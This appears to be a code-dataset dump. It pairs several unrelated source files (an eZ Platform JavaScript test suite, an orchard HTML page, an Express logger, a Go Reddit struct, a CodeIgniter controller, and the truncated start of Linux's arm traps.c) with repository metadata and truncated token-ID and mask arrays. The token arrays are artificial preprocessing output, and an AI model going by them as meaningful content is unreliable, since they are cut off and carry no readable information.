Y.Test.Runner.setName("eZ Relation list Edit View tests"); Y.Test.Runner.add(viewTest); initializerTest = new Y.Test.Case({ name: "eZ Relation list initializing test", _getFieldDefinition: function (required) { return { isRequired: required }; }, setUp: function () { this.fieldDefinitionIdentifier= "niceField"; this.fieldDefinition = { fieldType: "ezobjectrelationlist", identifier: this.fieldDefinitionIdentifier, isRequired: false }; this.field = {fieldValue: {destinationContentIds: [45, 42]}}; this.view = new Y.eZ.RelationListEditView({ field: this.field, fieldDefinition: this.fieldDefinition, relatedContents: this.relatedContents, }); }, tearDown: function () { this.view.destroy(); delete this.view; }, "Should fill the destinationContentsIds attribute from the field": function () { Y.Assert.isArray( this.view.get('destinationContentsIds'), "destinationContentsIds should be an array" ); for (var i = 0; i <= this.view.get('destinationContentsIds').length; i++) { Y.Assert.areSame( this.view.get('field').fieldValue.destinationContentIds[i], this.view.get('destinationContentsIds')[i], "The destinationContentId of the field value should be the same than the attribute" ); } }, }); Y.Test.Runner.add(initializerTest); universalDiscoveryRelationTest = new Y.Test.Case({ name: "eZ Relation list universal discovery relation test", _getFieldDefinition: function (required) { return { isRequired: required, fieldSettings: {}, }; }, setUp: function () { this.relatedContents = []; this.fieldDefinitionIdentifier= "niceField"; this.fieldDefinition = { fieldType: "ezobjectrelationlist", identifier: this.fieldDefinitionIdentifier, isRequired: false, fieldSettings: { selectionContentTypes: ['allowed_content_type_identifier'] } }; this.field = {fieldValue: {destinationContentIds: [45, 42]}}; this.jsonContent = {}; this.jsonContentType = {}; this.jsonVersion = {}; this.content = new Y.Mock(); this.version = new Y.Mock(); this.contentType = new Y.Mock(); Y.Mock.expect(this.content, { method: 'toJSON', returns: this.jsonContent }); Y.Mock.expect(this.version, { method: 'toJSON', returns: this.jsonVersion }); Y.Mock.expect(this.contentType, { method: 'toJSON', returns: this.jsonContentType }); this.view = new Y.eZ.RelationListEditView({ container: '.container', field: this.field, fieldDefinition: this.fieldDefinition, content: this.content, version: this.version, contentType: this.contentType, relatedContents: this.relatedContents, }); }, tearDown: function () { this.view.destroy(); delete this.view; }, "Should validate when the universal discovery is canceled (empty relation)": function () { var that = this, fieldDefinition = this._getFieldDefinition(true); this.view.set('fieldDefinition', fieldDefinition); this.view._set('destinationContentsIds', null); this.view.on('contentDiscover', function (e) { that.resume(function () { e.config.cancelDiscoverHandler.call(this); Y.Assert.areSame( this.view.get('errorStatus'), 'this.field.is.required domain=fieldedit', 'errorStatus should be true' ); }); }); this.view.get('container').one('.ez-relation-discover').simulateGesture('tap'); this.wait(); }, "Should validate when the universal discovery is canceled": function () { var that = this, fieldDefinition = this._getFieldDefinition(false); this.view.set('fieldDefinition', fieldDefinition); this.view.on('contentDiscover', function (e) { that.resume(function () { e.config.cancelDiscoverHandler.call(this); Y.Assert.isFalse(this.view.get('errorStatus'),'errorStatus should be false'); }); }); this.view.get('container').one('.ez-relation-discover').simulateGesture('tap'); this.wait(); }, "Should fill the relation with the universal discovery widget selection": function () { var that = this, contentInfoMock1 = new Y.Mock(), contentInfoMock2 = new Y.Mock(), fakeEventFacade = {selection: [{contentInfo: contentInfoMock1}, {contentInfo: contentInfoMock2}]}, contentIdsArray; this.view._set('destinationContentsIds', [42, 45]); contentIdsArray = Y.Array.dedupe(that.view.get('destinationContentsIds')); Y.Mock.expect(contentInfoMock1, { method: 'toJSON', returns: {name: 'me', publishedDate: 'yesterday', lastModificationDate: 'tomorrow'} }); Y.Mock.expect(contentInfoMock1, { method: 'get', args: ['contentId'], returns: 42 }); Y.Mock.expect(contentInfoMock2, { method: 'toJSON', returns: {name: 'me', publishedDate: 'yesterday', lastModificationDate: 'tomorrow'} }); Y.Mock.expect(contentInfoMock2, { method: 'get', args: ['contentId'], returns: 51 }); this.view.on('contentDiscover', function (e) { that.resume(function () { Y.Array.each(fakeEventFacade.selection, function (selection) { if ( that.view.get('destinationContentsIds').indexOf(selection.contentInfo.get('contentId')) == -1) { contentIdsArray.push(selection.contentInfo.get('contentId')); } }); e.config.contentDiscoveredHandler.call(this, fakeEventFacade); Y.ArrayAssert.itemsAreEqual( contentIdsArray, [42,45,51], 'destinationContentsIds should match the contentIds of the selected relation' ); }); }); this.view.get('container').one('.ez-relation-discover').simulateGesture('tap'); this.wait(); }, "Should run the UniversalDiscoveryWidget": function () { var that = this, allowedContentType = new Y.Mock(), notAllowedContentType = new Y.Mock(); Y.Mock.expect(allowedContentType, { method: 'get', args: ['identifier'], returns: this.fieldDefinition.fieldSettings.selectionContentTypes[0] }); Y.Mock.expect(notAllowedContentType, { method: 'get', args: ['identifier'], returns: 'not_allowed_content_type_identifier' }); this.view.on('contentDiscover', function (e) { that.resume(function () { Y.Assert.isObject(e.config, "contentDiscover config should be an object"); Y.Assert.isFunction(e.config.contentDiscoveredHandler, "config should have a function named contentDiscoveredHandler"); Y.Assert.isFunction(e.config.cancelDiscoverHandler, "config should have a function named cancelDiscoverHandler"); Y.Assert.isFunction(e.config.isSelectable, "config should have a function named isSelectable"); Y.Assert.isTrue( e.config.isSelectable({contentType: allowedContentType}), "isSelectable should return TRUE if selected content's content type is on allowed content types list" ); Y.Assert.isFalse( e.config.isSelectable({contentType: notAllowedContentType}), "isSelectable should return FALSE if selected content's content type is not on allowed content types list" ); Assert.isUndefined( e.config.startingLocationId, "The starting Location id parameter should not be set" ); }); }); this.view.get('container').one('.ez-relation-discover').simulateGesture('tap'); this.wait(); }, "Should run the UniversalDiscoveryWidget starting at selectionDefaultLocation": function () { var locationId = 'whatever/location/id'; this.fieldDefinition.fieldSettings.selectionContentTypes = []; this.fieldDefinition.fieldSettings.selectionDefaultLocationHref = locationId; this.view.on('contentDiscover', this.next(function (e) { Assert.areEqual( locationId, e.config.startingLocationId, "The starting Location id parameter should be set" ); }, this)); this.view.get('container').one('.ez-relation-discover').simulateGesture('tap'); this.wait(); }, }); Y.Test.Runner.add(universalDiscoveryRelationTest); tapTest = new Y.Test.Case({ name: "eZ Relation list tap test", _getFieldDefinition: function (required) { return { isRequired: required }; }, setUp: function () { this.destinationContent1 = new Y.Mock(); this.destinationContent1ToJSON = {anythingJSONed: 'somethingJSONed'}; Y.Mock.expect(this.destinationContent1, { method: 'toJSON', returns: this.destinationContent1ToJSON }); Y.Mock.expect(this.destinationContent1, { method: 'get', args: [Y.Mock.Value.String], run: function (arg) { if ( arg == 'contentId' ) { return 45; } else if ( arg == 'id') { return "/api/ezp/v2/content/objects/45"; } else { Y.Assert.fail('argument for get() not expected'); } } }); this.destinationContent2 = new Y.Mock(); this.destinationContent2ToJSON = {anythingJSONed2: 'somethingJSONed2'}; Y.Mock.expect(this.destinationContent2, { method: 'toJSON', returns: this.destinationContent2ToJSON }); Y.Mock.expect(this.destinationContent2, { method: 'get', args: [Y.Mock.Value.String], run: function (arg) { if ( arg == 'contentId' ) { return 42; } else if ( arg == 'id') { return "/api/ezp/v2/content/objects/42"; } else { Y.Assert.fail('argument for get() not expected'); } } }); this.relatedContents = [this.destinationContent1, this.destinationContent2]; this.fieldDefinitionIdentifier= "niceField"; this.fieldDefinition = { fieldType: "ezobjectrelationlist", identifier: this.fieldDefinitionIdentifier, isRequired: false, fieldSettings: {}, }; this.field = {fieldValue: {destinationContentIds: [45, 42]}}; this.jsonContent = {}; this.jsonContentType = {}; this.jsonVersion = {}; this.content = new Y.Mock(); this.version = new Y.Mock(); this.contentType = new Y.Mock(); Y.Mock.expect(this.content, { method: 'toJSON', returns: this.jsonContent }); Y.Mock.expect(this.version, { method: 'toJSON', returns: this.jsonVersion }); Y.Mock.expect(this.contentType, { method: 'toJSON', returns: this.jsonContentType }); this.view = new Y.eZ.RelationListEditView({ container: '.container', field: this.field, fieldDefinition: this.fieldDefinition, content: this.content, version: this.version, contentType: this.contentType, relatedContents: this.relatedContents, }); }, tearDown: function () { this.view.destroy(); delete this.view; }, "Should prevent default behaviour of the tap event for select button": function () { var that = this; this.view.render(); this.view.get('container').once('tap', function (e) { that.resume(function () { Y.Assert.isTrue( !!e.prevented, "The tap event should have been prevented" ); }); }); this.view.get('container').one('.ez-relation-discover').simulateGesture('tap'); this.wait(); }, "Should remove the relation related to the remove button when it is tapped": function () { var that = this, contentId = 42; this.view.get('container').once('tap', function (e) { that.resume(function () { Y.Assert.isTrue( !!e.prevented, "The tap event should have been prevented" ); Y.ArrayAssert.doesNotContain( contentId, that.view.get('destinationContentsIds'), "The contentId of the relation removed should be deleted" ); }); }); this.view.get('container').one('button[data-content-id="/api/ezp/v2/content/objects/'+ contentId +'"]').simulateGesture('tap'); this.wait(); }, "Should render the view and make the table disapear when we remove the last relation": function () { var that = this, contentId = 42; this.view.set('relatedContents', [this.destinationContent2]); this.view.render(); that.view.template = function () { that.resume(function () { Y.Assert.isNull(that.view.get('container').one('.ez-relationlist-contents'), 'The relation list table should have disapeared'); }); }; this.view.get('container').one('button[data-content-id="/api/ezp/v2/content/objects/'+ contentId +'"]').simulateGesture('tap'); this.wait(); }, "Should remove the table row of the relation when we tap on its remove button ": function () { var that = this, contentId = 42; this.view.set('relatedContents', [this.destinationContent1, this.destinationContent2]); this.view.render(); that.view.get('container').onceAfter(['webkitTransitionEnd', 'transitionend'], Y.bind(function () { that.resume(function () { Y.Assert.isNull( that.view.get('container').one('tr[data-content-id="' + contentId + '"]'), 'The relation table row should have disapeared'); }); }, this)); this.view.get('container').one('button[data-content-id="/api/ezp/v2/content/objects/'+ contentId +'"]').simulateGesture('tap'); this.wait(); }, }); Y.Test.Runner.add(tapTest); loadObjectRelationsTest = new Y.Test.Case({ name: "eZ Relations list loadObjectRelations event test", _getFieldDefinition: function (required) { return { isRequired: required }; }, setUp: function () { this.fieldDefinitionIdentifier= "niceField"; this.fieldDefinition = { fieldType: "ezobjectrelationlist", identifier: this.fieldDefinitionIdentifier, isRequired: false }; this.field = {fieldValue: {destinationContentIds: [45, 42]}}; this.content = {}; this.view = new Y.eZ.RelationListEditView({ field: this.field, fieldDefinition: this.fieldDefinition, content: this.content, }); }, tearDown: function () { this.view.destroy(); delete this.view; }, "Should fire the loadObjectRelations event": function () { var loadContentEvent = false; this.view.on('loadObjectRelations', Y.bind(function (e) { Y.Assert.areSame( this.fieldDefinitionIdentifier, e.fieldDefinitionIdentifier, "fieldDefinitionIdentifier is the same than the one in the field" ); Y.Assert.areSame( this.content, e.content, "The content should be provided in the event facade" ); loadContentEvent = true; }, this)); this.view.set('active', true); Y.Assert.isTrue(loadContentEvent, "loadObjectRelations event should be fired when getting active"); }, "Should NOT fire the loadObjectRelations event if field is empty": function () { var loadContentEvent = false, that = this; this.view.on('loadObjectRelations', function (e) { Y.Assert.areSame( that.fieldDefinitionIdentifier, e.fieldDefinitionIdentifier, "fieldDefinitionIdentifier is the same than the one in the field" ); loadContentEvent = true; }); this.view._set('destinationContentsIds', null); this.view.set('active', true); Y.Assert.isFalse(loadContentEvent, "loadContentEvent should NOT be called when changing active value"); }, }); Y.Test.Runner.add(loadObjectRelationsTest); getFieldTest = new Y.Test.Case( Y.merge(Y.eZ.Test.GetFieldTests, { fieldDefinition: {isRequired: false}, ViewConstructor: Y.eZ.RelationListEditView, value: {destinationContentsIds: [45, 42]}, newValue: [45, 42], _setNewValue: function () { this.view._set("destinationContentsIds", this.newValue); }, _assertCorrectFieldValue: function (fieldValue, msg) { Y.Assert.isObject(fieldValue, 'fieldValue should be an object'); Y.Assert.areEqual(this.newValue, fieldValue.destinationContentIds, msg); }, }) ); Y.Test.Runner.add(getFieldTest); getEmptyFieldTest = new Y.Test.Case( Y.merge(Y.eZ.Test.GetFieldTests, { fieldDefinition: {isRequired: false}, ViewConstructor: Y.eZ.RelationListEditView, value: {destinationContentsIds: null}, newValue: null, _setNewValue: function () { this.view._set("destinationContentsIds", this.newValue); }, _assertCorrectFieldValue: function (fieldValue, msg) { Y.Assert.isObject(fieldValue, 'fieldValue should be an object'); Y.Assert.areEqual(this.newValue, fieldValue.destinationContentIds, msg); }, }) ); Y.Test.Runner.add(getEmptyFieldTest); registerTest = new Y.Test.Case(Y.eZ.EditViewRegisterTest); registerTest.name = "Relation List Edit View registration test"; registerTest.viewType = Y.eZ.RelationListEditView; registerTest.viewKey = "ezobjectrelationlist"; Y.Test.Runner.add(registerTest); }, '', {requires: ['test', 'getfield-tests', 'node-event-simulate', 'editviewregister-tests', 'ez-relationlist-editview']});
intenseprogramming/PlatformUIBundle
Tests/js/views/fields/assets/ez-relationlist-editview-tests.js
JavaScript
gpl-2.0
28,458
[ 30522, 1013, 1008, 1008, 9385, 1006, 1039, 1007, 1041, 2480, 3001, 2004, 1012, 2035, 2916, 9235, 1012, 1008, 2005, 2440, 9385, 1998, 6105, 2592, 3193, 6105, 5371, 5500, 2007, 2023, 3120, 3642, 1012, 1008, 1013, 9805, 2072, 1012, 5587, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Lerdo Project</title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template --> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800' rel='stylesheet' type='text/css'> <!-- Custom styles for this template --> <link href="css/clean-blog.min.css" rel="stylesheet"> </head> <body> <!-- Navigation --> <nav class="navbar navbar-expand-lg navbar-light fixed-top" id="mainNav"> <a class="navbar-brand" href="index.html">Lerdo Project</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fa fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav ml-auto"> <li class="nav-item"> <a class="nav-link" href="index.html">Home</a> </li> <li class="nav-item"> <a class="nav-link" href="apartments.html">Apartments</a> </li> <li class="nav-item"> <a class="nav-link" href="RV.html">RV</a> </li> <li class="nav-item"> <a class="nav-link" href="orchard.html">Orchard</a> </li> <li class="nav-item"> <a class="nav-link" href="storage.html">Storage</a> </li> <li class="nav-item"> <a class="nav-link" href="ChinesePark.html">Chinese Park</a></li> <li class="nav-item"> <a class="nav-link" href="contact.html">Contact</a> </li> </ul> </div> </nav> <!-- Page Header --> <header class="masthead" style="background-image: url('img/orchard.jpg')"> <div class="container"> <div class="row"> <div class="col-lg-8 col-md-10 mx-auto"> <div class="page-heading"> <h1 style="font-size:70px; text-shadow: -1px 0 black, 0 1px black, 1px 0 black, 0 -1px black; color: #25FF42 ">Orchard</h1> </div> </div> </div> </div> </header> <!-- Main Content --> <div class="container"> <div class="row"> <div class="col-lg-12 col-md-10 mx-auto"> <p></p> </div> <div class="col-lg-8 col-md-10 mx-auto"> <ol> <li>California, especially Bakersfield area, produces almost all the commercially grown almonds.</li> <li>Orchards reduce climate change and environmental degradation over time.</li> <li>They help the economy by producing agricultural jobs.</li> <li>Once tree is established, it has continuous production.</li> <li>Pistachios grow well under hot, dry summers, and cool winters.</li> <li>Almond Orchards capture and store significant amounts of carbon both above and below orchard surface.</li> <li>Almond Orchards only use 8% of its agricultural water.</li> <li>Almond Trees contribute to water efficiency by producing two crops: <ul> <li>The kernels the part we eat</li> <li>Hulls that are used for livestock feed</li> </ul> </li> <li>Almonds are high in monounsaturated fats</li> <li>Almond trees help reduce greenhouse gases.</li> <li>Every stage of production affects California directly and positively (Farming, hulling and shelling, packing and trucking).</li> <li>Drastic price increase due to public taste change and favorability for health!</li> </ol> </div> </div> </div> <hr> <!-- Footer --> <footer> <div class="container"> <div class="row"> <div class="col-lg-8 col-md-10 mx-auto"> <p class="copyright text-muted">Copyright &copy; Lerdo Village Center 2017</p> </div> </div> </div> </footer> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/popper/popper.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.min.js"></script> <!-- Custom scripts for this template --> <script src="js/clean-blog.min.js"></script> </body> </html>
amazingjump/LedroProject
orchard.html
HTML
mit
5,007
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 16129, 11374, 1027, 1000, 4372, 1000, 1028, 1026, 2132, 1028, 1026, 18804, 25869, 13462, 1027, 1000, 21183, 2546, 1011, 1022, 1000, 1028, 1026, 18804, 2171, 1027, 1000, 3193, 6442, 1000, 418...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
'use strict'; var path = require('path'), express = require('express'), errors = require('./errors'), debug = require('debug')('express-toybox:logger'), DEBUG = debug.enabled; /** * logger middleware using "morgan" or "debug". * * @param {*|String} options or log format. * @param {Number|Boolean} [options.buffer] * @param {Boolean} [options.immediate] * @param {Function} [options.skip] * @param {*} [options.stream] * @param {String} [options.format='combined'] log format. "combined", "common", "dev", "short", "tiny" or "default". * @param {String} [options.file] file to emit log. * @param {String} [options.debug] namespace for tj's debug namespace to emit log. * @returns {Function} connect/express middleware function */ function logger(options) { DEBUG && debug('configure http logger middleware', options); var format; if (typeof options === 'string') { format = options; options = {}; } else { format = options.format || 'combined'; delete options.format; } if (options.debug) { try { return require('morgan-debug')(options.debug, format, options); } catch (e) { console.error('**fatal** failed to configure logger with debug', e); return process.exit(2); } } if (options.file) { try { var file = path.resolve(process.cwd(), options.file); // replace stream options with stream object delete options.file; options.stream = require('fs').createWriteStream(file, {flags: 'a'}); } catch (e) { console.error('**fatal** failed to configure logger with file stream', e); return process.exit(2); } } console.warn('**fallback** use default logger middleware'); return require('morgan')(format, options); } module.exports = logger;
iolo/express-toybox
logger.js
JavaScript
mit
1,903
[ 30522, 1005, 2224, 9384, 1005, 1025, 13075, 4130, 1027, 5478, 1006, 1005, 4130, 1005, 1007, 1010, 4671, 1027, 5478, 1006, 1005, 4671, 1005, 1007, 1010, 10697, 1027, 5478, 1006, 1005, 1012, 1013, 10697, 1005, 1007, 1010, 2139, 8569, 2290, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Copyright 2012 Jimmy Zelinskie. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package geddit import ( "fmt" ) // Submission represents an individual post from the perspective // of a subreddit. Remember to check for nil pointers before // using any pointer fields. type Submission struct { Author string `json:"author"` Title string `json:"title"` URL string `json:"url"` Domain string `json:"domain"` Subreddit string `json:"subreddit"` SubredditID string `json:"subreddit_id"` FullID string `json:"name"` ID string `json:"id"` Permalink string `json:"permalink"` Selftext string `json:"selftext"` ThumbnailURL string `json:"thumbnail"` DateCreated float64 `json:"created_utc"` NumComments int `json:"num_comments"` Score int `json:"score"` Ups int `json:"ups"` Downs int `json:"downs"` IsNSFW bool `json:"over_18"` IsSelf bool `json:"is_self"` WasClicked bool `json:"clicked"` IsSaved bool `json:"saved"` BannedBy *string `json:"banned_by"` } func (h Submission) voteID() string { return h.FullID } func (h Submission) deleteID() string { return h.FullID } func (h Submission) replyID() string { return h.FullID } // FullPermalink returns the full URL of a submission. func (h *Submission) FullPermalink() string { return "https://reddit.com" + h.Permalink } // String returns the string representation of a submission. func (h *Submission) String() string { plural := "" if h.NumComments != 1 { plural = "s" } comments := fmt.Sprintf("%d comment%s", h.NumComments, plural) return fmt.Sprintf("%d - %s (%s)", h.Score, h.Title, comments) }
aggrolite/geddit
submission.go
GO
bsd-3-clause
1,804
[ 30522, 1013, 1013, 9385, 2262, 5261, 27838, 24412, 11602, 1012, 2035, 2916, 9235, 1012, 1013, 1013, 2224, 1997, 2023, 3120, 3642, 2003, 9950, 2011, 1037, 18667, 2094, 1011, 2806, 1013, 1013, 6105, 2008, 2064, 2022, 2179, 1999, 1996, 6105, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php class Stud_controller extends CI_Controller { function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->database(); } public function index() { $query = $this->db->get("stud"); $data['records'] = $query->result(); $this->load->helper('url'); $this->load->view('Stud_view',$data); } public function add_student_view() { $this->load->helper('form'); $this->load->view('Stud_add'); } public function add_student() { $this->load->model('Stud_Model'); $data = array( 'roll_no' => $this->input->post('roll_no'), 'name' => $this->input->post('name') ); $this->Stud_Model->insert($data); $query = $this->db->get("stud"); $data['records'] = $query->result(); $this->load->view('Stud_view',$data); } public function update_student_view() { $this->load->helper('form'); $roll_no = $this->uri->segment('3'); $query = $this->db->get_where("stud",array("roll_no"=>$roll_no)); $data['records'] = $query->result(); $data['old_roll_no'] = $roll_no; $this->load->view('Stud_edit',$data); } public function update_student(){ $this->load->model('Stud_Model'); $data = array( 'roll_no' => $this->input->post('roll_no'), 'name' => $this->input->post('name') ); $old_roll_no = $this->input->post('old_roll_no'); $this->Stud_Model->update($data,$old_roll_no); $query = $this->db->get("stud"); $data['records'] = $query->result(); $this->load->view('Stud_view',$data); } public function delete_student() { $this->load->model('Stud_Model'); $roll_no = $this->uri->segment('3'); $this->Stud_Model->delete($roll_no); $query = $this->db->get("stud"); $data['records'] = $query->result(); $this->load->view('Stud_view',$data); } } ?>
radhikascs/codeigniterProject
application/controllers/Stud_controller.php
PHP
mit
2,207
[ 30522, 1026, 1029, 25718, 2465, 16054, 1035, 11486, 8908, 25022, 1035, 11486, 1063, 3853, 1035, 1035, 9570, 1006, 1007, 1063, 6687, 1024, 1024, 1035, 1035, 9570, 1006, 1007, 1025, 1002, 2023, 1011, 1028, 7170, 1011, 1028, 2393, 2121, 1006, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * linux/arch/arm/kernel/traps.c * * Copyright (C) 1995-2009 Russell King * Fragments that appear the same as linux/arch/i386/kernel/traps.c (C) Linus Torvalds * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * 'traps.c' handles hardware exceptions after we have saved some state in * 'linux/arch/arm/lib/traps.S'. Mostly a debugging aid, but will probably * kill the offending process. */ #include <linux/module.h> #include <linux/signal.h> #include <linux/spinlock.h> #include <linux/personality.h> #include <linux/kallsyms.h> #include <linux/delay.h> #include <linux/hardirq.h> #include <linux/init.h> #include <linux/uaccess.h> #include <asm/atomic.h> #include <asm/cacheflush.h> #include <asm/system.h> #include <asm/unistd.h> #include <asm/traps.h> #include <asm/unwind.h> #include "ptrace.h" #include "signal.h" static const char *handler[]= { "prefetch abort", "data abort", "address exception", "interrupt" }; void *vectors_page; #ifdef CONFIG_DEBUG_USER unsigned int user_debug; static int __init user_debug_setup(char *str) { get_option(&str, &user_debug); return 1; } __setup("user_debug=", user_debug_setup); #endif static void dump_mem(const char *, const char *, unsigned long, unsigned long); void dump_backtrace_entry(unsigned long where, unsigned long from, unsigned long frame) { #ifdef CONFIG_KALLSYMS char sym1[KSYM_SYMBOL_LEN], sym2[KSYM_SYMBOL_LEN]; sprint_symbol(sym1, where); sprint_symbol(sym2, from); printk("[<%08lx>] (%s) from [<%08lx>] (%s)\n", where, sym1, from, sym2); #else printk("Function entered at [<%08lx>] from [<%08lx>]\n", where, from); #endif if (in_exception_text(where)) dump_mem("", "Exception stack", frame + 4, frame + 4 + sizeof(struct pt_regs)); } #ifndef CONFIG_ARM_UNWIND /* * Stack pointers should always be within the kernels view of * physical memory. If it is not there, then we can't dump * out any information relating to the stack. */ static int verify_stack(unsigned long sp) { if (sp < PAGE_OFFSET || (sp > (unsigned long)high_memory && high_memory != NULL)) return -EFAULT; return 0; } #endif /* * Dump out the contents of some memory nicely... */ static void dump_mem(const char *lvl, const char *str, unsigned long bottom, unsigned long top) { unsigned long first; mm_segment_t fs; int i; /* * We need to switch to kernel mode so that we can use __get_user * to safely read from kernel space. Note that we now dump the * code first, just in case the backtrace kills us. */ fs = get_fs(); set_fs(KERNEL_DS); printk("%s%s(0x%08lx to 0x%08lx)\n", lvl, str, bottom, top); for (first = bottom & ~31; first < top; first += 32) { unsigned long p; char str[sizeof(" 12345678") * 8 + 1]; memset(str, ' ', sizeof(str)); str[sizeof(str) - 1] = '\0'; for (p = first, i = 0; i < 8 && p < top; i++, p += 4) { if (p >= bottom && p < top) { unsigned long val; if (__get_user(val, (unsigned long *)p) == 0) sprintf(str + i * 9, " %08lx", val); else sprintf(str + i * 9, " ????????"); } } printk("%s%04lx:%s\n", lvl, first & 0xffff, str); } set_fs(fs); } static void dump_instr(const char *lvl, struct pt_regs *regs) { unsigned long addr = instruction_pointer(regs); const int thumb = thumb_mode(regs); const int width = thumb ? 4 : 8; mm_segment_t fs; char str[sizeof("00000000 ") * 5 + 2 + 1], *p = str; int i; /* * We need to switch to kernel mode so that we can use __get_user * to safely read from kernel space. Note that we now dump the * code first, just in case the backtrace kills us. */ fs = get_fs(); set_fs(KERNEL_DS); for (i = -4; i < 1; i++) { unsigned int 